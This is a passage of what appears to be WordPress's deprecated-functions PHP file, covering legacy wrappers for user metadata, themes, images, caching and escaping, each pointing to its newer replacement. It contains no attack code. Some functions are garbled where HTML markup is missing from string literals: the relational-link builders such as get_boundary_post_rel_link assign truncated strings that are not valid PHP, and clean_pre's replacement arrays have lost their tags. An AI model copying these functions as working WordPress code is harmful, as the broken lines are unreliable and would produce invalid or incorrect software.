metadata. * * If $user_id is not a number, then the function will fail over with a 'false' * boolean return value. Other returned values depend on whether there is only * one item to be returned, which be that single item type. If there is more * than one metadata value, then it will be list of metadata values. * * @since 2.0.0 * @deprecated 3.0.0 Use get_user_meta() * @see get_user_meta() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $user_id User ID * @param string $meta_key Optional. Metadata key. Default empty. * @return mixed */ function get_usermeta( $user_id, $meta_key = '' ) { _deprecated_function( __FUNCTION__, '3.0.0', 'get_user_meta()' ); global $wpdb; $user_id = (int) $user_id; if ( !$user_id ) return false; if ( !empty($meta_key) ) { $meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key); $user = wp_cache_get($user_id, 'users'); // Check the cached user object. if ( false !== $user && isset($user->$meta_key) ) $metas = array($user->$meta_key); else $metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) ); } else { $metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d", $user_id) ); } if ( empty($metas) ) { if ( empty($meta_key) ) return array(); else return ''; } $metas = array_map('maybe_unserialize', $metas); if ( count($metas) === 1 ) return $metas[0]; else return $metas; } /** * Update metadata of user. * * There is no need to serialize values, they will be serialized if it is * needed. The metadata key can only be a string with underscores. All else will * be removed. * * Will remove the metadata, if the meta value is empty. * * @since 2.0.0 * @deprecated 3.0.0 Use update_user_meta() * @see update_user_meta() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $user_id User ID * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. * @return bool True on successful update, false on failure. */ function update_usermeta( $user_id, $meta_key, $meta_value ) { _deprecated_function( __FUNCTION__, '3.0.0', 'update_user_meta()' ); global $wpdb; if ( !is_numeric( $user_id ) ) return false; $meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key); /** @todo Might need fix because usermeta data is assumed to be already escaped */ if ( is_string($meta_value) ) $meta_value = stripslashes($meta_value); $meta_value = maybe_serialize($meta_value); if (empty($meta_value)) { return delete_usermeta($user_id, $meta_key); } $cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) ); if ( $cur ) do_action( 'update_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value ); if ( !$cur ) $wpdb->insert($wpdb->usermeta, compact('user_id', 'meta_key', 'meta_value') ); elseif ( $cur->meta_value != $meta_value ) $wpdb->update($wpdb->usermeta, compact('meta_value'), compact('user_id', 'meta_key') ); else return false; clean_user_cache( $user_id ); wp_cache_delete( $user_id, 'user_meta' ); if ( !$cur ) do_action( 'added_usermeta', $wpdb->insert_id, $user_id, $meta_key, $meta_value ); else do_action( 'updated_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value ); return true; } /** * Get users for the site. * * For setups that use the multisite feature. Can be used outside of the * multisite feature. * * @since 2.2.0 * @deprecated 3.1.0 Use get_users() * @see get_users() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $id Site ID. * @return array List of users that are part of that site ID */ function get_users_of_blog( $id = '' ) { _deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' ); global $wpdb; if ( empty( $id ) ) { $id = get_current_blog_id(); } $blog_prefix = $wpdb->get_blog_prefix($id); $users = $wpdb->get_results( "SELECT user_id, user_id AS ID, user_login, display_name, user_email, meta_value FROM $wpdb->users, $wpdb->usermeta WHERE {$wpdb->users}.ID = {$wpdb->usermeta}.user_id AND meta_key = '{$blog_prefix}capabilities' ORDER BY {$wpdb->usermeta}.user_id" ); return $users; } /** * Enable/disable automatic general feed link outputting. * * @since 2.8.0 * @deprecated 3.0.0 Use add_theme_support() * @see add_theme_support() * * @param bool $add Optional. Add or remove links. Default true. */ function automatic_feed_links( $add = true ) { _deprecated_function( __FUNCTION__, '3.0.0', "add_theme_support( 'automatic-feed-links' )" ); if ( $add ) add_theme_support( 'automatic-feed-links' ); else remove_action( 'wp_head', 'feed_links_extra', 3 ); // Just do this yourself in 3.0+. } /** * Retrieve user data based on field. * * @since 1.5.0 * @deprecated 3.0.0 Use get_the_author_meta() * @see get_the_author_meta() * * @param string $field User meta field. * @param false|int $user Optional. User ID to retrieve the field for. Default false (current user). * @return string The author's field from the current author's DB object. */ function get_profile( $field, $user = false ) { _deprecated_function( __FUNCTION__, '3.0.0', 'get_the_author_meta()' ); if ( $user ) { $user = get_user_by( 'login', $user ); $user = $user->ID; } return get_the_author_meta( $field, $user ); } /** * Retrieves the number of posts a user has written. * * @since 0.71 * @deprecated 3.0.0 Use count_user_posts() * @see count_user_posts() * * @param int $userid User to count posts for. * @return int Number of posts the given user has written. */ function get_usernumposts( $userid ) { _deprecated_function( __FUNCTION__, '3.0.0', 'count_user_posts()' ); return count_user_posts( $userid ); } /** * Callback used to change %uXXXX to &#YYY; syntax * * @since 2.8.0 * @access private * @deprecated 3.0.0 * * @param array $matches Single Match * @return string An HTML entity */ function funky_javascript_callback($matches) { return "&#".base_convert($matches[1],16,10).";"; } /** * Fixes JavaScript bugs in browsers. * * Converts unicode characters to HTML numbered entities. * * @since 1.5.0 * @deprecated 3.0.0 * * @global $is_macIE * @global $is_winIE * * @param string $text Text to be made safe. * @return string Fixed text. */ function funky_javascript_fix($text) { _deprecated_function( __FUNCTION__, '3.0.0' ); // Fixes for browsers' JavaScript bugs. global $is_macIE, $is_winIE; if ( $is_winIE || $is_macIE ) $text = preg_replace_callback("/\%u([0-9A-F]{4,4})/", "funky_javascript_callback", $text); return $text; } /** * Checks that the taxonomy name exists. * * @since 2.3.0 * @deprecated 3.0.0 Use taxonomy_exists() * @see taxonomy_exists() * * @param string $taxonomy Name of taxonomy object * @return bool Whether the taxonomy exists. */ function is_taxonomy( $taxonomy ) { _deprecated_function( __FUNCTION__, '3.0.0', 'taxonomy_exists()' ); return taxonomy_exists( $taxonomy ); } /** * Check if Term exists. * * @since 2.3.0 * @deprecated 3.0.0 Use term_exists() * @see term_exists() * * @param int|string $term The term to check * @param string $taxonomy The taxonomy name to use * @param int $parent ID of parent term under which to confine the exists search. * @return mixed Get the term ID or term object, if exists. */ function is_term( $term, $taxonomy = '', $parent = 0 ) { _deprecated_function( __FUNCTION__, '3.0.0', 'term_exists()' ); return term_exists( $term, $taxonomy, $parent ); } /** * Determines whether the current admin page is generated by a plugin. * * Use global $plugin_page and/or get_plugin_page_hookname() hooks. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.0 * @deprecated 3.1.0 * * @global $plugin_page * * @return bool */ function is_plugin_page() { _deprecated_function( __FUNCTION__, '3.1.0' ); global $plugin_page; if ( isset($plugin_page) ) return true; return false; } /** * Update the categories cache. * * This function does not appear to be used anymore or does not appear to be * needed. It might be a legacy function left over from when there was a need * for updating the category cache. * * @since 1.5.0 * @deprecated 3.1.0 * * @return bool Always return True */ function update_category_cache() { _deprecated_function( __FUNCTION__, '3.1.0' ); return true; } /** * Check for PHP timezone support * * @since 2.9.0 * @deprecated 3.2.0 * * @return bool */ function wp_timezone_supported() { _deprecated_function( __FUNCTION__, '3.2.0' ); return true; } /** * Displays an editor: TinyMCE, HTML, or both. * * @since 2.1.0 * @deprecated 3.3.0 Use wp_editor() * @see wp_editor() * * @param string $content Textarea content. * @param string $id Optional. HTML ID attribute value. Default 'content'. * @param string $prev_id Optional. Unused. * @param bool $media_buttons Optional. Whether to display media buttons. Default true. * @param int $tab_index Optional. Unused. * @param bool $extended Optional. Unused. */ function the_editor($content, $id = 'content', $prev_id = 'title', $media_buttons = true, $tab_index = 2, $extended = true) { _deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' ); wp_editor( $content, $id, array( 'media_buttons' => $media_buttons ) ); } /** * Perform the query to get the $metavalues array(s) needed by _fill_user and _fill_many_users * * @since 3.0.0 * @deprecated 3.3.0 * * @param array $ids User ID numbers list. * @return array of arrays. The array is indexed by user_id, containing $metavalues object arrays. */ function get_user_metavalues($ids) { _deprecated_function( __FUNCTION__, '3.3.0' ); $objects = array(); $ids = array_map('intval', $ids); foreach ( $ids as $id ) $objects[$id] = array(); $metas = update_meta_cache('user', $ids); foreach ( $metas as $id => $meta ) { foreach ( $meta as $key => $metavalues ) { foreach ( $metavalues as $value ) { $objects[$id][] = (object)array( 'user_id' => $id, 'meta_key' => $key, 'meta_value' => $value); } } } return $objects; } /** * Sanitize every user field. * * If the context is 'raw', then the user object or array will get minimal sanitization of the int fields. * * @since 2.3.0 * @deprecated 3.3.0 * * @param object|array $user The user object or array. * @param string $context Optional. How to sanitize user fields. Default 'display'. * @return object|array The now sanitized user object or array (will be the same type as $user). */ function sanitize_user_object($user, $context = 'display') { _deprecated_function( __FUNCTION__, '3.3.0' ); if ( is_object($user) ) { if ( !isset($user->ID) ) $user->ID = 0; if ( ! ( $user instanceof WP_User ) ) { $vars = get_object_vars($user); foreach ( array_keys($vars) as $field ) { if ( is_string($user->$field) || is_numeric($user->$field) ) $user->$field = sanitize_user_field($field, $user->$field, $user->ID, $context); } } $user->filter = $context; } else { if ( !isset($user['ID']) ) $user['ID'] = 0; foreach ( array_keys($user) as $field ) $user[$field] = sanitize_user_field($field, $user[$field], $user['ID'], $context); $user['filter'] = $context; } return $user; } /** * Get boundary post relational link. * * Can either be start or end post relational link. * * @since 2.8.0 * @deprecated 3.3.0 * * @param string $title Optional. Link title format. Default '%title'. * @param bool $in_same_cat Optional. Whether link should be in a same category. * Default false. * @param string $excluded_categories Optional. Excluded categories IDs. Default empty. * @param bool $start Optional. Whether to display link to first or last post. * Default true. * @return string */ function get_boundary_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '', $start = true) { _deprecated_function( __FUNCTION__, '3.3.0' ); $posts = get_boundary_post($in_same_cat, $excluded_categories, $start); // If there is no post, stop. if ( empty($posts) ) return; // Even though we limited get_posts() to return only 1 item it still returns an array of objects. $post = $posts[0]; if ( empty($post->post_title) ) $post->post_title = $start ? __('First Post') : __('Last Post'); $date = mysql2date(get_option('date_format'), $post->post_date); $title = str_replace('%title', $post->post_title, $title); $title = str_replace('%date', $date, $title); $title = apply_filters('the_title', $title, $post->ID); $link = $start ? "\n"; $boundary = $start ? 'start' : 'end'; return apply_filters( "{$boundary}_post_rel_link", $link ); } /** * Display relational link for the first post. * * @since 2.8.0 * @deprecated 3.3.0 * * @param string $title Optional. Link title format. * @param bool $in_same_cat Optional. Whether link should be in a same category. * @param string $excluded_categories Optional. Excluded categories IDs. */ function start_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '') { _deprecated_function( __FUNCTION__, '3.3.0' ); echo get_boundary_post_rel_link($title, $in_same_cat, $excluded_categories, true); } /** * Get site index relational link. * * @since 2.8.0 * @deprecated 3.3.0 * * @return string */ function get_index_rel_link() { _deprecated_function( __FUNCTION__, '3.3.0' ); $link = "\n"; return apply_filters( "index_rel_link", $link ); } /** * Display relational link for the site index. * * @since 2.8.0 * @deprecated 3.3.0 */ function index_rel_link() { _deprecated_function( __FUNCTION__, '3.3.0' ); echo get_index_rel_link(); } /** * Get parent post relational link. * * @since 2.8.0 * @deprecated 3.3.0 * * @global WP_Post $post Global post object. * * @param string $title Optional. Link title format. Default '%title'. * @return string */ function get_parent_post_rel_link( $title = '%title' ) { _deprecated_function( __FUNCTION__, '3.3.0' ); if ( ! empty( $GLOBALS['post'] ) && ! empty( $GLOBALS['post']->post_parent ) ) $post = get_post($GLOBALS['post']->post_parent); if ( empty($post) ) return; $date = mysql2date(get_option('date_format'), $post->post_date); $title = str_replace('%title', $post->post_title, $title); $title = str_replace('%date', $date, $title); $title = apply_filters('the_title', $title, $post->ID); $link = "\n"; return apply_filters( "parent_post_rel_link", $link ); } /** * Display relational link for parent item * * @since 2.8.0 * @deprecated 3.3.0 * * @param string $title Optional. Link title format. Default '%title'. */ function parent_post_rel_link( $title = '%title' ) { _deprecated_function( __FUNCTION__, '3.3.0' ); echo get_parent_post_rel_link($title); } /** * Add the "Dashboard"/"Visit Site" menu. * * @since 3.2.0 * @deprecated 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance. */ function wp_admin_bar_dashboard_view_site_menu( $wp_admin_bar ) { _deprecated_function( __FUNCTION__, '3.3.0' ); $user_id = get_current_user_id(); if ( 0 != $user_id ) { if ( is_admin() ) $wp_admin_bar->add_menu( array( 'id' => 'view-site', 'title' => __( 'Visit Site' ), 'href' => home_url() ) ); elseif ( is_multisite() ) $wp_admin_bar->add_menu( array( 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => get_dashboard_url( $user_id ) ) ); else $wp_admin_bar->add_menu( array( 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => admin_url() ) ); } } /** * Checks if the current user belong to a given site. * * @since MU (3.0.0) * @deprecated 3.3.0 Use is_user_member_of_blog() * @see is_user_member_of_blog() * * @param int $blog_id Site ID * @return bool True if the current users belong to $blog_id, false if not. */ function is_blog_user( $blog_id = 0 ) { _deprecated_function( __FUNCTION__, '3.3.0', 'is_user_member_of_blog()' ); return is_user_member_of_blog( get_current_user_id(), $blog_id ); } /** * Open the file handle for debugging. * * @since 0.71 * @deprecated 3.4.0 Use error_log() * @see error_log() * * @link https://www.php.net/manual/en/function.error-log.php * * @param string $filename File name. * @param string $mode Type of access you required to the stream. * @return false Always false. */ function debug_fopen( $filename, $mode ) { _deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' ); return false; } /** * Write contents to the file used for debugging. * * @since 0.71 * @deprecated 3.4.0 Use error_log() * @see error_log() * * @link https://www.php.net/manual/en/function.error-log.php * * @param mixed $fp Unused. * @param string $message Message to log. */ function debug_fwrite( $fp, $message ) { _deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' ); if ( ! empty( $GLOBALS['debug'] ) ) error_log( $message ); } /** * Close the debugging file handle. * * @since 0.71 * @deprecated 3.4.0 Use error_log() * @see error_log() * * @link https://www.php.net/manual/en/function.error-log.php * * @param mixed $fp Unused. */ function debug_fclose( $fp ) { _deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' ); } /** * Retrieve list of themes with theme data in theme directory. * * The theme is broken, if it doesn't have a parent theme and is missing either * style.css and, or index.php. If the theme has a parent theme then it is * broken, if it is missing style.css; index.php is optional. * * @since 1.5.0 * @deprecated 3.4.0 Use wp_get_themes() * @see wp_get_themes() * * @return array Theme list with theme data. */ function get_themes() { _deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_themes()' ); global $wp_themes; if ( isset( $wp_themes ) ) return $wp_themes; $themes = wp_get_themes(); $wp_themes = array(); foreach ( $themes as $theme ) { $name = $theme->get('Name'); if ( isset( $wp_themes[ $name ] ) ) $wp_themes[ $name . '/' . $theme->get_stylesheet() ] = $theme; else $wp_themes[ $name ] = $theme; } return $wp_themes; } /** * Retrieve theme data. * * @since 1.5.0 * @deprecated 3.4.0 Use wp_get_theme() * @see wp_get_theme() * * @param string $theme Theme name. * @return array|null Null, if theme name does not exist. Theme data, if exists. */ function get_theme( $theme ) { _deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme( $stylesheet )' ); $themes = get_themes(); if ( is_array( $themes ) && array_key_exists( $theme, $themes ) ) return $themes[ $theme ]; return null; } /** * Retrieve current theme name. * * @since 1.5.0 * @deprecated 3.4.0 Use wp_get_theme() * @see wp_get_theme() * * @return string */ function get_current_theme() { _deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme()' ); if ( $theme = get_option( 'current_theme' ) ) return $theme; return wp_get_theme()->get('Name'); } /** * Accepts matches array from preg_replace_callback in wpautop() or a string. * * Ensures that the contents of a `
    ...
    ` HTML block are not * converted into paragraphs or line breaks. * * @since 1.2.0 * @deprecated 3.4.0 * * @param array|string $matches The array or string * @return string The pre block without paragraph/line break conversion. */ function clean_pre($matches) { _deprecated_function( __FUNCTION__, '3.4.0' ); if ( is_array($matches) ) $text = $matches[1] . $matches[2] . ""; else $text = $matches; $text = str_replace(array('
    ', '
    ', '
    '), array('', '', ''), $text); $text = str_replace('

    ', "\n", $text); $text = str_replace('

    ', '', $text); return $text; } /** * Add callbacks for image header display. * * @since 2.1.0 * @deprecated 3.4.0 Use add_theme_support() * @see add_theme_support() * * @param callable $wp_head_callback Call on the {@see 'wp_head'} action. * @param callable $admin_head_callback Call on custom header administration screen. * @param callable $admin_preview_callback Output a custom header image div on the custom header administration screen. Optional. */ function add_custom_image_header( $wp_head_callback, $admin_head_callback, $admin_preview_callback = '' ) { _deprecated_function( __FUNCTION__, '3.4.0', 'add_theme_support( \'custom-header\', $args )' ); $args = array( 'wp-head-callback' => $wp_head_callback, 'admin-head-callback' => $admin_head_callback, ); if ( $admin_preview_callback ) $args['admin-preview-callback'] = $admin_preview_callback; return add_theme_support( 'custom-header', $args ); } /** * Remove image header support. * * @since 3.1.0 * @deprecated 3.4.0 Use remove_theme_support() * @see remove_theme_support() * * @return null|bool Whether support was removed. */ function remove_custom_image_header() { _deprecated_function( __FUNCTION__, '3.4.0', 'remove_theme_support( \'custom-header\' )' ); return remove_theme_support( 'custom-header' ); } /** * Add callbacks for background image display. * * @since 3.0.0 * @deprecated 3.4.0 Use add_theme_support() * @see add_theme_support() * * @param callable $wp_head_callback Call on the {@see 'wp_head'} action. * @param callable $admin_head_callback Call on custom background administration screen. * @param callable $admin_preview_callback Output a custom background image div on the custom background administration screen. Optional. */ function add_custom_background( $wp_head_callback = '', $admin_head_callback = '', $admin_preview_callback = '' ) { _deprecated_function( __FUNCTION__, '3.4.0', 'add_theme_support( \'custom-background\', $args )' ); $args = array(); if ( $wp_head_callback ) $args['wp-head-callback'] = $wp_head_callback; if ( $admin_head_callback ) $args['admin-head-callback'] = $admin_head_callback; if ( $admin_preview_callback ) $args['admin-preview-callback'] = $admin_preview_callback; return add_theme_support( 'custom-background', $args ); } /** * Remove custom background support. * * @since 3.1.0 * @deprecated 3.4.0 Use add_custom_background() * @see add_custom_background() * * @return null|bool Whether support was removed. */ function remove_custom_background() { _deprecated_function( __FUNCTION__, '3.4.0', 'remove_theme_support( \'custom-background\' )' ); return remove_theme_support( 'custom-background' ); } /** * Retrieve theme data from parsed theme file. * * @since 1.5.0 * @deprecated 3.4.0 Use wp_get_theme() * @see wp_get_theme() * * @param string $theme_file Theme file path. * @return array Theme data. */ function get_theme_data( $theme_file ) { _deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme()' ); $theme = new WP_Theme( wp_basename( dirname( $theme_file ) ), dirname( dirname( $theme_file ) ) ); $theme_data = array( 'Name' => $theme->get('Name'), 'URI' => $theme->display('ThemeURI', true, false), 'Description' => $theme->display('Description', true, false), 'Author' => $theme->display('Author', true, false), 'AuthorURI' => $theme->display('AuthorURI', true, false), 'Version' => $theme->get('Version'), 'Template' => $theme->get('Template'), 'Status' => $theme->get('Status'), 'Tags' => $theme->get('Tags'), 'Title' => $theme->get('Name'), 'AuthorName' => $theme->get('Author'), ); foreach ( apply_filters( 'extra_theme_headers', array() ) as $extra_header ) { if ( ! isset( $theme_data[ $extra_header ] ) ) $theme_data[ $extra_header ] = $theme->get( $extra_header ); } return $theme_data; } /** * Alias of update_post_cache(). * * @see update_post_cache() Posts and pages are the same, alias is intentional * * @since 1.5.1 * @deprecated 3.4.0 Use update_post_cache() * @see update_post_cache() * * @param array $pages list of page objects */ function update_page_cache( &$pages ) { _deprecated_function( __FUNCTION__, '3.4.0', 'update_post_cache()' ); update_post_cache( $pages ); } /** * Will clean the page in the cache. * * Clean (read: delete) page from cache that matches $id. Will also clean cache * associated with 'all_page_ids' and 'get_pages'. * * @since 2.0.0 * @deprecated 3.4.0 Use clean_post_cache * @see clean_post_cache() * * @param int $id Page ID to clean */ function clean_page_cache( $id ) { _deprecated_function( __FUNCTION__, '3.4.0', 'clean_post_cache()' ); clean_post_cache( $id ); } /** * Retrieve nonce action "Are you sure" message. * * Deprecated in 3.4.1 and 3.5.0. Backported to 3.3.3. * * @since 2.0.4 * @deprecated 3.4.1 Use wp_nonce_ays() * @see wp_nonce_ays() * * @param string $action Nonce action. * @return string Are you sure message. */ function wp_explain_nonce( $action ) { _deprecated_function( __FUNCTION__, '3.4.1', 'wp_nonce_ays()' ); return __( 'Are you sure you want to do this?' ); } /** * Display "sticky" CSS class, if a post is sticky. * * @since 2.7.0 * @deprecated 3.5.0 Use post_class() * @see post_class() * * @param int $post_id An optional post ID. */ function sticky_class( $post_id = null ) { _deprecated_function( __FUNCTION__, '3.5.0', 'post_class()' ); if ( is_sticky( $post_id ) ) echo ' sticky'; } /** * Retrieve post ancestors. * * This is no longer needed as WP_Post lazy-loads the ancestors * property with get_post_ancestors(). * * @since 2.3.4 * @deprecated 3.5.0 Use get_post_ancestors() * @see get_post_ancestors() * * @param WP_Post $post Post object, passed by reference (unused). */ function _get_post_ancestors( &$post ) { _deprecated_function( __FUNCTION__, '3.5.0' ); } /** * Load an image from a string, if PHP supports it. * * @since 2.1.0 * @deprecated 3.5.0 Use wp_get_image_editor() * @see wp_get_image_editor() * * @param string $file Filename of the image to load. * @return resource|GdImage|string The resulting image resource or GdImage instance on success, * error string on failure. */ function wp_load_image( $file ) { _deprecated_function( __FUNCTION__, '3.5.0', 'wp_get_image_editor()' ); if ( is_numeric( $file ) ) $file = get_attached_file( $file ); if ( ! is_file( $file ) ) { /* translators: %s: File name. */ return sprintf( __( 'File “%s” does not exist?' ), $file ); } if ( ! function_exists('imagecreatefromstring') ) return __('The GD image library is not installed.'); // Set artificially high because GD uses uncompressed images in memory. wp_raise_memory_limit( 'image' ); $image = imagecreatefromstring( file_get_contents( $file ) ); if ( ! is_gd_image( $image ) ) { /* translators: %s: File name. */ return sprintf( __( 'File “%s” is not an image.' ), $file ); } return $image; } /** * Scale down an image to fit a particular size and save a new copy of the image. * * The PNG transparency will be preserved using the function, as well as the * image type. If the file going in is PNG, then the resized image is going to * be PNG. The only supported image types are PNG, GIF, and JPEG. * * Some functionality requires API to exist, so some PHP version may lose out * support. This is not the fault of WordPress (where functionality is * downgraded, not actual defects), but of your PHP version. * * @since 2.5.0 * @deprecated 3.5.0 Use wp_get_image_editor() * @see wp_get_image_editor() * * @param string $file Image file path. * @param int $max_w Maximum width to resize to. * @param int $max_h Maximum height to resize to. * @param bool $crop Optional. Whether to crop image or resize. Default false. * @param string $suffix Optional. File suffix. Default null. * @param string $dest_path Optional. New image file path. Default null. * @param int $jpeg_quality Optional. Image quality percentage. Default 90. * @return mixed WP_Error on failure. String with new destination path. */ function image_resize( $file, $max_w, $max_h, $crop = false, $suffix = null, $dest_path = null, $jpeg_quality = 90 ) { _deprecated_function( __FUNCTION__, '3.5.0', 'wp_get_image_editor()' ); $editor = wp_get_image_editor( $file ); if ( is_wp_error( $editor ) ) return $editor; $editor->set_quality( $jpeg_quality ); $resized = $editor->resize( $max_w, $max_h, $crop ); if ( is_wp_error( $resized ) ) return $resized; $dest_file = $editor->generate_filename( $suffix, $dest_path ); $saved = $editor->save( $dest_file ); if ( is_wp_error( $saved ) ) return $saved; return $dest_file; } /** * Retrieve a single post, based on post ID. * * Has categories in 'post_category' property or key. Has tags in 'tags_input' * property or key. * * @since 1.0.0 * @deprecated 3.5.0 Use get_post() * @see get_post() * * @param int $postid Post ID. * @param string $mode How to return result, either OBJECT, ARRAY_N, or ARRAY_A. * @return WP_Post|null Post object or array holding post contents and information */ function wp_get_single_post( $postid = 0, $mode = OBJECT ) { _deprecated_function( __FUNCTION__, '3.5.0', 'get_post()' ); return get_post( $postid, $mode ); } /** * Check that the user login name and password is correct. * * @since 0.71 * @deprecated 3.5.0 Use wp_authenticate() * @see wp_authenticate() * * @param string $user_login User name. * @param string $user_pass User password. * @return bool False if does not authenticate, true if username and password authenticates. */ function user_pass_ok($user_login, $user_pass) { _deprecated_function( __FUNCTION__, '3.5.0', 'wp_authenticate()' ); $user = wp_authenticate( $user_login, $user_pass ); if ( is_wp_error( $user ) ) return false; return true; } /** * Callback formerly fired on the save_post hook. No longer needed. * * @since 2.3.0 * @deprecated 3.5.0 */ function _save_post_hook() {} /** * Check if the installed version of GD supports particular image type * * @since 2.9.0 * @deprecated 3.5.0 Use wp_image_editor_supports() * @see wp_image_editor_supports() * * @param string $mime_type * @return bool */ function gd_edit_image_support($mime_type) { _deprecated_function( __FUNCTION__, '3.5.0', 'wp_image_editor_supports()' ); if ( function_exists('imagetypes') ) { switch( $mime_type ) { case 'image/jpeg': return (imagetypes() & IMG_JPG) != 0; case 'image/png': return (imagetypes() & IMG_PNG) != 0; case 'image/gif': return (imagetypes() & IMG_GIF) != 0; case 'image/webp': return (imagetypes() & IMG_WEBP) != 0; case 'image/avif': return (imagetypes() & IMG_AVIF) != 0; } } else { switch( $mime_type ) { case 'image/jpeg': return function_exists('imagecreatefromjpeg'); case 'image/png': return function_exists('imagecreatefrompng'); case 'image/gif': return function_exists('imagecreatefromgif'); case 'image/webp': return function_exists('imagecreatefromwebp'); case 'image/avif': return function_exists('imagecreatefromavif'); } } return false; } /** * Converts an integer byte value to a shorthand byte value. * * @since 2.3.0 * @deprecated 3.6.0 Use size_format() * @see size_format() * * @param int $bytes An integer byte value. * @return string A shorthand byte value. */ function wp_convert_bytes_to_hr( $bytes ) { _deprecated_function( __FUNCTION__, '3.6.0', 'size_format()' ); $units = array( 0 => 'B', 1 => 'KB', 2 => 'MB', 3 => 'GB', 4 => 'TB' ); $log = log( $bytes, KB_IN_BYTES ); $power = (int) $log; $size = KB_IN_BYTES ** ( $log - $power ); if ( ! is_nan( $size ) && array_key_exists( $power, $units ) ) { $unit = $units[ $power ]; } else { $size = $bytes; $unit = $units[0]; } return $size . $unit; } /** * Formerly used internally to tidy up the search terms. * * @since 2.9.0 * @access private * @deprecated 3.7.0 * * @param string $t Search terms to "tidy", e.g. trim. * @return string Trimmed search terms. */ function _search_terms_tidy( $t ) { _deprecated_function( __FUNCTION__, '3.7.0' ); return trim( $t, "\"'\n\r " ); } /** * Determine if TinyMCE is available. * * Checks to see if the user has deleted the tinymce files to slim down * their WordPress installation. * * @since 2.1.0 * @deprecated 3.9.0 * * @return bool Whether TinyMCE exists. */ function rich_edit_exists() { global $wp_rich_edit_exists; _deprecated_function( __FUNCTION__, '3.9.0' ); if ( ! isset( $wp_rich_edit_exists ) ) $wp_rich_edit_exists = file_exists( ABSPATH . WPINC . '/js/tinymce/tinymce.js' ); return $wp_rich_edit_exists; } /** * Old callback for tag link tooltips. * * @since 2.7.0 * @access private * @deprecated 3.9.0 * * @param int $count Number of topics. * @return int Number of topics. */ function default_topic_count_text( $count ) { return $count; } /** * Formerly used to escape strings before inserting into the DB. * * Has not performed this function for many, many years. Use wpdb::prepare() instead. * * @since 0.71 * @deprecated 3.9.0 * * @param string $content The text to format. * @return string The very same text. */ function format_to_post( $content ) { _deprecated_function( __FUNCTION__, '3.9.0' ); return $content; } /** * Formerly used to escape strings before searching the DB. It was poorly documented and never worked as described. * * @since 2.5.0 * @deprecated 4.0.0 Use wpdb::esc_like() * @see wpdb::esc_like() * * @param string $text The text to be escaped. * @return string text, safe for inclusion in LIKE query. */ function like_escape($text) { _deprecated_function( __FUNCTION__, '4.0.0', 'wpdb::esc_like()' ); return str_replace( array( "%", "_" ), array( "\\%", "\\_" ), $text ); } /** * Determines if the URL can be accessed over SSL. * * Determines if the URL can be accessed over SSL by using the WordPress HTTP API to access * the URL using https as the scheme. * * @since 2.5.0 * @deprecated 4.0.0 * * @param string $url The URL to test. * @return bool Whether SSL access is available. */ function url_is_accessable_via_ssl( $url ) { _deprecated_function( __FUNCTION__, '4.0.0' ); $response = wp_remote_get( set_url_scheme( $url, 'https' ) ); if ( !is_wp_error( $response ) ) { $status = wp_remote_retrieve_response_code( $response ); if ( 200 == $status || 401 == $status ) { return true; } } return false; } /** * Start preview theme output buffer. * * Will only perform task if the user has permissions and template and preview * query variables exist. * * @since 2.6.0 * @deprecated 4.3.0 */ function preview_theme() { _deprecated_function( __FUNCTION__, '4.3.0' ); } /** * Private function to modify the current template when previewing a theme * * @since 2.9.0 * @deprecated 4.3.0 * @access private * * @return string */ function _preview_theme_template_filter() { _deprecated_function( __FUNCTION__, '4.3.0' ); return ''; } /** * Private function to modify the current stylesheet when previewing a theme * * @since 2.9.0 * @deprecated 4.3.0 * @access private * * @return string */ function _preview_theme_stylesheet_filter() { _deprecated_function( __FUNCTION__, '4.3.0' ); return ''; } /** * Callback function for ob_start() to capture all links in the theme. * * @since 2.6.0 * @deprecated 4.3.0 * @access private * * @param string $content * @return string */ function preview_theme_ob_filter( $content ) { _deprecated_function( __FUNCTION__, '4.3.0' ); return $content; } /** * Manipulates preview theme links in order to control and maintain location. * * Callback function for preg_replace_callback() to accept and filter matches. * * @since 2.6.0 * @deprecated 4.3.0 * @access private * * @param array $matches * @return string */ function preview_theme_ob_filter_callback( $matches ) { _deprecated_function( __FUNCTION__, '4.3.0' ); return ''; } /** * Formats text for the rich text editor. * * The {@see 'richedit_pre'} filter is applied here. If `$text` is empty the filter will * be applied to an empty string. * * @since 2.0.0 * @deprecated 4.3.0 Use format_for_editor() * @see format_for_editor() * * @param string $text The text to be formatted. * @return string The formatted text after filter is applied. */ function wp_richedit_pre($text) { _deprecated_function( __FUNCTION__, '4.3.0', 'format_for_editor()' ); if ( empty( $text ) ) { /** * Filters text returned for the rich text editor. * * This filter is first evaluated, and the value returned, if an empty string * is passed to wp_richedit_pre(). If an empty string is passed, it results * in a break tag and line feed. * * If a non-empty string is passed, the filter is evaluated on the wp_richedit_pre() * return after being formatted. * * @since 2.0.0 * @deprecated 4.3.0 * * @param string $output Text for the rich text editor. */ return apply_filters( 